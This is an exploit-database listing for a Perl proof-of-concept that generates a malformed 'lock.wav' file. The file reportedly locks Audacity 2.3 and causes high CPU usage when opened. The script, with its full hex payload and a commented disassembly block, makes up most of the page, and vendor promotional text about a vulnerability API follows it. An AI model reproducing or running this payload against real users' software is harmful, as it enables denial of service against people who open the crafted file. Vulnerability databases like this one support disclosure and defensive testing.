Lucene search
K

AudaCity 2.3 - High processor usage Denial of Service Exploit

🗓️ 20 Oct 2018 00:00:00Reported by Kağan ÇaparType 
zdt
 zdt
🔗 0day.today👁 78 Views

AudaCity 2.3 - High processor usage Denial of Service Exploit. Exploit creates "lock.wav" file causing software lock

Code
# Exploit Title: AudaCity 2.3 - High processor usage (Denial of Service)
# Author: Kağan Çapar
# Software Link: https://www.fosshub.com/Audacity.html
# Vendor Homepage : https://www.audacityteam.org
# Tested Version: 2.3 (top version)
# Tested on OS: Windows 10 x64/86 (Normal use CPU) & Windows 7 (High CPU usage) & Windows XP (High CPU usage)
# other version should be affected
# Steps to Reproduce: Run the perl exploit script, it will create a new
# file with the name "lock.wav". Open Audacity.exe
# Go to File > Open > Select "lock.wav file" 
# you will see a locking on software.

# ! /usr/bin/perl

# Dump of assembler code for function data:
   # 0x0000000000004040 <+0>:	push   %rdx
   # 0x0000000000004041 <+1>:	rex.WB
   # 0x0000000000004042 <+2>:	rex.RX
   # 0x0000000000004043 <+3>:	rex.RX retq $0x158
   # 0x0000000000004047 <+7>:	add    %dl,0x41(%rdi)
   # 0x000000000000404a <+10>:	push   %rsi
   # 0x000000000000404b <+11>:	rex.RB
   # 0x000000000000404c <+12>:	rex.R
   # 0x000000000000404d <+13>:	rex.R
   # 0x000000000000404e <+14>:	rex.R
   # 0x000000000000404f <+15>:	rex.R clc 
   # 0x0000000000004051 <+17>:	(bad)  
   # 0x0000000000004052 <+18>:	(bad)  
   # 0x0000000000004053 <+19>:	incl   (%rcx)
   # 0x0000000000004055 <+21>:	add    %al,(%rcx)
   # 0x0000000000004057 <+23>:	add    %ah,(%rdx)
   # 0x0000000000004059 <+25>:	push   %rsi
   # 0x000000000000405a <+26>:	add    %al,(%rax)
   # 0x000000000000405c <+28>:	rex.R lods %ds:(%rsi),%al
   # 0x000000000000405e <+30>:	add    %al,(%rax)
   # 0x0000000000004060 <+32>:	add    (%rax),%al
   # 0x0000000000004062 <+34>:	adc    %al,(%rax)
   # 0x0000000000004064 <+36>:	add    %al,(%rax)
   # 0x0000000000004066 <+38>:	data16 (bad) 
   # 0x0000000000004068 <+40>:	movslq 0x0(%rsp,%rax,1),%esi
   # 0x000000000000406c <+44>:	add    %al,(%rax)
   # 0x000000000000406e <+46>:	rex.W lods %ds:(%rsi),%al
   # 0x0000000000004070 <+48>:	add    %al,(%rax)
   # 0x0000000000004072 <+50>:	fs (bad) 
   # 0x0000000000004074 <+52>:	je     0x40d7 <shellcode+151>
   # 0x0000000000004076 <+54>:	nop
   # 0x0000000000004077 <+55>:	pop    %rax
   # 0x0000000000004078 <+56>:	add    %eax,(%rax)
   # 0x000000000000407a <+58>:	add    %al,(%rax)
   # 0x000000000000407c <+60>:	add    %al,(%rax)
   # 0x000000000000407e <+62>:	add    %al,(%rax)
   # 0x0000000000004080 <+64>:	add    %al,(%rax)
   # 0x0000000000004082 <+66>:	add    %al,(%rax)
   # 0x0000000000004084 <+68>:	add    %al,(%rax)
   # 0x0000000000004086 <+70>:	(bad)  
   # 0x0000000000004087 <+71>:	incl   (%rax)
   # 0x0000000000004089 <+73>:	add    %al,(%rax)
   # 0x000000000000408b <+75>:	add    %bh,%bh
   # 0x000000000000408d <+77>:	incl   (%rax)
   # 0x000000000000408f <+79>:	add    %bh,%bh
   # 0x0000000000004091 <+81>:	incl   (%rax)
   # 0x0000000000004093 <+83>:	add    %bh,%bh
   # 0x0000000000004095 <+85>:	incl   (%rax)
   # 0x0000000000004097 <+87>:	add    %bh,%bh
   # 0x0000000000004099 <+89>:	incl   (%rax)
   # 0x000000000000409b <+91>:	add    %bh,%bh

open(code, ">lock.wav");
binmode(code);
$data = 
"\x52\x49\x46\x46\xc2\x58\x01\x00\x57\x41\x56\x45\x44\x44\x44\x44" .
"\xf8\xff\xff\xff\x01\x00\x01\x00\x22\x56\x00\x00\x44\xac\x00\x00" .
"\x02\x00\x10\x00\x00\x00\x66\x61\x63\x74\x04\x00\x00\x00\x48\xac" .
"\x00\x00\x64\x61\x74\x61\x90\x58\x01\x00\x00\x00\x00\x00\x00\x00" .
"\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\x00\x00\xff\xff\x00\x00" .
"\xff\xff\x00\x00\xff\xff\x00\x00\xff\xff\x00\x00\xff\xff\x00\x00" .
"\xff\xff\x00\x00\xff\xff\x00\x00\xff\xff\x00\x00\xff\xff\x00\x00" .
"\xff\xff\x00\x00\xff\xff\x01\x00\x08\x00\x0b\x00\x0c\x00\x0b\x00" .
"\x0c\x00\x09\x00\x07\x00\x0a\x00\x0a\x00\x07\x00\x0b\x00\x09\x00" .
"\x08\x00\x0a\x00\x08\x00\x09\x00\x0a\x00\x0a\x00\x0a\x00\x09\x00" .
"\x09\x00\x0a\x00\x0c\x00\x0c\x00\x0a\x00\x0b\x00\x0c\x00\x08\x00" .
"\x0b\x00\x0d\x00\x0a\x00\x0c\x00\x0d\x00\x0a\x00\x0a\x00\x0a\x00" .
"\x0c\x00\x0c\x00\x0d\x00\x10\x00\x0b\x00\x0d\x00\x0c\x00\x09\x00" .
"\x0a\x00\x0e\x00\x0b\x00\x0b\x00\x0a\x00\x0e\x00\x0a\x00\x07\x00" .
"\x08\x00\x05\x00\x08\x00\x0b\x00\x09\x00\x0b\x00\x08\x00\x08\x00" .
"\x0b\x00\x09\x00\x07\x00\x08\x00\x07\x00\x09\x00\x0d\x00\x0c\x00" .
"\x0b\x00\x0b\x00\x0a\x00\x0c\x00\x0f\x00\x0a\x00\x0a\x00\x0b\x00" .
"\x0f\x00\x07\x00\x09\x00\x07\x00\x09\x00\x08\x00\x05\x00\x0a\x00" .
"\x0a\x00\x07\x00\x08\x00\x0b\x00\x06\x00\x0d\x00\x0c\x00\x0c\x00" .
"\x0b\x00\x0c\x00\x0b\x00\x09\x00\x0b\x00\x0b\x00\x09\x00\x0f\x00" .
"\x08\x00\x0a\x00\x0f\x00\x0b\x00\x0d\x00\x0a\x00\x0a\x00\x09\x00" .
"\x09\x00\x0d\x00\x10\x00\x0d\x00\x0b\x00\x0c\x00\x0e\x00\x09\x00" .
"\x0c\x00\x0e\x00\x0a\x00\x0b\x00\x0b\x00\x0b\x00\x0a\x00\x0e\x00";

print code $data;
close(code);

#  0day.today [2018-10-21]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Oct 2018 00:00Current
7High risk
Vulners AI Score7
78